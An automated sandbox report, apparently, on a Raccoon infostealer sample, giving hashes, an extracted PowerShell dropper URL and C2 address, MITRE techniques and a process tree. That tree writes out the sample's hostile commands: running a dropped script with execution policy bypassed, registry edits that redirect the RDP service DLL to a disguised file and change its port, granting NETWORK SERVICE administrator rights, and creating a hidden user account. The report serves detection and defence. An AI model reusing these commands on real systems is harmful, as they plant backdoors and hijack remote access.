raccoon | ea90f2f71597051b8c34698de10bb1ce8ed996c65654fd5fdcb5440e18c716d4

Analysis

max time kernel
71s
max time network
113s
platform
windows10_x64
resource
win10v20210410
submitted
02/06/2021, 17:28

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General

Target
8034b47213cc5f5fc1395f718a55c4da.exe
Size 568KB
Sample210602-18bxfaa2ee
SHA256 ea90f2f71597051b8c34698de10bb1ce8ed996c65654fd5fdcb5440e18c716d4
MD5 8034b47213cc5f5fc1395f718a55c4da
SHA1 de5b4c462a8848b7b95a6d68d400bde6272529fd
SHA512 3f492b54daa93cc726b59138d3969627eb3815f8ff7de22fc1ee33700b73175ab280a43bf95ee0d12132047b5f1d49aca5b2159322f978edc9ae219049c09d8d
MD5 SHA1 SHA512

Score

10^/10

raccoon e46634757936706c1ff491585768dd6fe231db30 discovery persistence spyware stealer upx

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
28	2044	powershell.exe
30	2044	powershell.exe
31	2044	powershell.exe
32	2044	powershell.exe
34	2044	powershell.exe
36	2044	powershell.exe
38	2044	powershell.exe
40	2044	powershell.exe
42	2044	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
3448	6jY9qdeTN6.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000900000000068b-236.dat	upx
behavioral2/files/0x000a000000000695-237.dat	upx

Loads dropped DLL 8 IoCs

pid	Process
3904	8034b47213cc5f5fc1395f718a55c4da.exe
3904	8034b47213cc5f5fc1395f718a55c4da.exe
3904	8034b47213cc5f5fc1395f718a55c4da.exe
3904	8034b47213cc5f5fc1395f718a55c4da.exe
3904	8034b47213cc5f5fc1395f718a55c4da.exe
3904	8034b47213cc5f5fc1395f718a55c4da.exe
1768	Process not Found
1768	Process not Found

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIC0E8.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_jnf3anuu.lfu.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIC0B8.tmp	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIC087.tmp	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIC0A7.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIC0E7.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_eud1wmum.hkb.ps1	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3936	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 339704ea112ed701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2332	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	30	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	31	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	32	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	34	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3876	powershell.exe
3876	powershell.exe
3876	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
2640	powershell.exe
2640	powershell.exe
2640	powershell.exe
3344	powershell.exe
3344	powershell.exe
3344	powershell.exe
3876	powershell.exe
3876	powershell.exe
3876	powershell.exe
2044	powershell.exe
2044	powershell.exe
2044	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
624	Process not Found
624	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3876	powershell.exe
Token: SeDebugPrivilege	1396	powershell.exe
Token: SeIncreaseQuotaPrivilege	1396	powershell.exe
Token: SeSecurityPrivilege	1396	powershell.exe
Token: SeTakeOwnershipPrivilege	1396	powershell.exe
Token: SeLoadDriverPrivilege	1396	powershell.exe
Token: SeSystemProfilePrivilege	1396	powershell.exe
Token: SeSystemtimePrivilege	1396	powershell.exe
Token: SeProfSingleProcessPrivilege	1396	powershell.exe
Token: SeIncBasePriorityPrivilege	1396	powershell.exe
Token: SeCreatePagefilePrivilege	1396	powershell.exe
Token: SeBackupPrivilege	1396	powershell.exe
Token: SeRestorePrivilege	1396	powershell.exe
Token: SeShutdownPrivilege	1396	powershell.exe
Token: SeDebugPrivilege	1396	powershell.exe
Token: SeSystemEnvironmentPrivilege	1396	powershell.exe
Token: SeRemoteShutdownPrivilege	1396	powershell.exe
Token: SeUndockPrivilege	1396	powershell.exe
Token: SeManageVolumePrivilege	1396	powershell.exe
Token: 33	1396	powershell.exe
Token: 34	1396	powershell.exe
Token: 35	1396	powershell.exe
Token: 36	1396	powershell.exe
Token: SeDebugPrivilege	2640	powershell.exe
Token: SeIncreaseQuotaPrivilege	2640	powershell.exe
Token: SeSecurityPrivilege	2640	powershell.exe
Token: SeTakeOwnershipPrivilege	2640	powershell.exe
Token: SeLoadDriverPrivilege	2640	powershell.exe
Token: SeSystemProfilePrivilege	2640	powershell.exe
Token: SeSystemtimePrivilege	2640	powershell.exe
Token: SeProfSingleProcessPrivilege	2640	powershell.exe
Token: SeIncBasePriorityPrivilege	2640	powershell.exe
Token: SeCreatePagefilePrivilege	2640	powershell.exe
Token: SeBackupPrivilege	2640	powershell.exe
Token: SeRestorePrivilege	2640	powershell.exe
Token: SeShutdownPrivilege	2640	powershell.exe
Token: SeDebugPrivilege	2640	powershell.exe
Token: SeSystemEnvironmentPrivilege	2640	powershell.exe
Token: SeRemoteShutdownPrivilege	2640	powershell.exe
Token: SeUndockPrivilege	2640	powershell.exe
Token: SeManageVolumePrivilege	2640	powershell.exe
Token: 33	2640	powershell.exe
Token: 34	2640	powershell.exe
Token: 35	2640	powershell.exe
Token: 36	2640	powershell.exe
Token: SeDebugPrivilege	3344	powershell.exe
Token: SeIncreaseQuotaPrivilege	3344	powershell.exe
Token: SeSecurityPrivilege	3344	powershell.exe
Token: SeTakeOwnershipPrivilege	3344	powershell.exe
Token: SeLoadDriverPrivilege	3344	powershell.exe
Token: SeSystemProfilePrivilege	3344	powershell.exe
Token: SeSystemtimePrivilege	3344	powershell.exe
Token: SeProfSingleProcessPrivilege	3344	powershell.exe
Token: SeIncBasePriorityPrivilege	3344	powershell.exe
Token: SeCreatePagefilePrivilege	3344	powershell.exe
Token: SeBackupPrivilege	3344	powershell.exe
Token: SeRestorePrivilege	3344	powershell.exe
Token: SeShutdownPrivilege	3344	powershell.exe
Token: SeDebugPrivilege	3344	powershell.exe
Token: SeSystemEnvironmentPrivilege	3344	powershell.exe
Token: SeRemoteShutdownPrivilege	3344	powershell.exe
Token: SeUndockPrivilege	3344	powershell.exe
Token: SeManageVolumePrivilege	3344	powershell.exe
Token: 33	3344	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3904 wrote to memory of 3448	3904	8034b47213cc5f5fc1395f718a55c4da.exe	79
PID 3904 wrote to memory of 3448	3904	8034b47213cc5f5fc1395f718a55c4da.exe	79
PID 3904 wrote to memory of 3716	3904	8034b47213cc5f5fc1395f718a55c4da.exe	81
PID 3904 wrote to memory of 3716	3904	8034b47213cc5f5fc1395f718a55c4da.exe	81
PID 3904 wrote to memory of 3716	3904	8034b47213cc5f5fc1395f718a55c4da.exe	81
PID 3716 wrote to memory of 3936	3716	cmd.exe	82
PID 3716 wrote to memory of 3936	3716	cmd.exe	82
PID 3716 wrote to memory of 3936	3716	cmd.exe	82
PID 3448 wrote to memory of 3876	3448	6jY9qdeTN6.exe	83
PID 3448 wrote to memory of 3876	3448	6jY9qdeTN6.exe	83
PID 3876 wrote to memory of 3516	3876	powershell.exe	85
PID 3876 wrote to memory of 3516	3876	powershell.exe	85
PID 3516 wrote to memory of 3680	3516	csc.exe	86
PID 3516 wrote to memory of 3680	3516	csc.exe	86
PID 3876 wrote to memory of 1396	3876	powershell.exe	87
PID 3876 wrote to memory of 1396	3876	powershell.exe	87
PID 3876 wrote to memory of 2640	3876	powershell.exe	90
PID 3876 wrote to memory of 2640	3876	powershell.exe	90
PID 3876 wrote to memory of 3344	3876	powershell.exe	92
PID 3876 wrote to memory of 3344	3876	powershell.exe	92
PID 3876 wrote to memory of 4008	3876	powershell.exe	95
PID 3876 wrote to memory of 4008	3876	powershell.exe	95
PID 3876 wrote to memory of 2332	3876	powershell.exe	96
PID 3876 wrote to memory of 2332	3876	powershell.exe	96
PID 3876 wrote to memory of 4084	3876	powershell.exe	97
PID 3876 wrote to memory of 4084	3876	powershell.exe	97
PID 3876 wrote to memory of 3868	3876	powershell.exe	98
PID 3876 wrote to memory of 3868	3876	powershell.exe	98
PID 3868 wrote to memory of 1292	3868	net.exe	99
PID 3868 wrote to memory of 1292	3868	net.exe	99
PID 3876 wrote to memory of 2464	3876	powershell.exe	100
PID 3876 wrote to memory of 2464	3876	powershell.exe	100
PID 2464 wrote to memory of 2252	2464	cmd.exe	101
PID 2464 wrote to memory of 2252	2464	cmd.exe	101
PID 2252 wrote to memory of 3732	2252	cmd.exe	102
PID 2252 wrote to memory of 3732	2252	cmd.exe	102
PID 3732 wrote to memory of 2104	3732	net.exe	103
PID 3732 wrote to memory of 2104	3732	net.exe	103
PID 3876 wrote to memory of 1476	3876	powershell.exe	104
PID 3876 wrote to memory of 1476	3876	powershell.exe	104
PID 1476 wrote to memory of 2636	1476	cmd.exe	105
PID 1476 wrote to memory of 2636	1476	cmd.exe	105
PID 2636 wrote to memory of 2496	2636	cmd.exe	106
PID 2636 wrote to memory of 2496	2636	cmd.exe	106
PID 2496 wrote to memory of 3680	2496	net.exe	107
PID 2496 wrote to memory of 3680	2496	net.exe	107
PID 1888 wrote to memory of 4088	1888	cmd.exe	111
PID 1888 wrote to memory of 4088	1888	cmd.exe	111
PID 4088 wrote to memory of 3356	4088	net.exe	112
PID 4088 wrote to memory of 3356	4088	net.exe	112
PID 3748 wrote to memory of 588	3748	cmd.exe	115
PID 3748 wrote to memory of 588	3748	cmd.exe	115
PID 588 wrote to memory of 3988	588	net.exe	116
PID 588 wrote to memory of 3988	588	net.exe	116
PID 1824 wrote to memory of 4004	1824	cmd.exe	119
PID 1824 wrote to memory of 4004	1824	cmd.exe	119
PID 4004 wrote to memory of 1148	4004	net.exe	120
PID 4004 wrote to memory of 1148	4004	net.exe	120
PID 3716 wrote to memory of 3756	3716	cmd.exe	123
PID 3716 wrote to memory of 3756	3716	cmd.exe	123
PID 3756 wrote to memory of 2292	3756	net.exe	124
PID 3756 wrote to memory of 2292	3756	net.exe	124
PID 2284 wrote to memory of 2120	2284	cmd.exe	127
PID 2284 wrote to memory of 2120	2284	cmd.exe	127

C:\Users\Admin\AppData\Local\Temp\8034b47213cc5f5fc1395f718a55c4da.exe
"C:\Users\Admin\AppData\Local\Temp\8034b47213cc5f5fc1395f718a55c4da.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3904
- C:\Users\Admin\AppData\Local\Temp\6jY9qdeTN6.exe
  "C:\Users\Admin\AppData\Local\Temp\6jY9qdeTN6.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3876
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rg1mkqhy\rg1mkqhy.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3516
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES89A8.tmp" "c:\Users\Admin\AppData\Local\Temp\rg1mkqhy\CSCF82D7AE5C90C447AA0236D59EB5AFDA7.TMP"
        5⤵
        
        PID:3680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1396
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2640
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3344
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:4008
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:2332
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:4084
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3868
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:1292
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2464
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2252
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3732
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:2104
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1476
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2636
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2496
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:3680
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:3544
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:3284
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\8034b47213cc5f5fc1395f718a55c4da.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3716
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:3936

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:1888
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4088
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:3356

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc utEG4ofX /add
1⤵
- Suspicious use of WriteProcessMemory
PID:3748
- C:\Windows\system32\net.exe
  net.exe user wgautilacc utEG4ofX /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:588
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc utEG4ofX /add
    3⤵
    PID:3988

C:\Windows\System32\cmd.exe
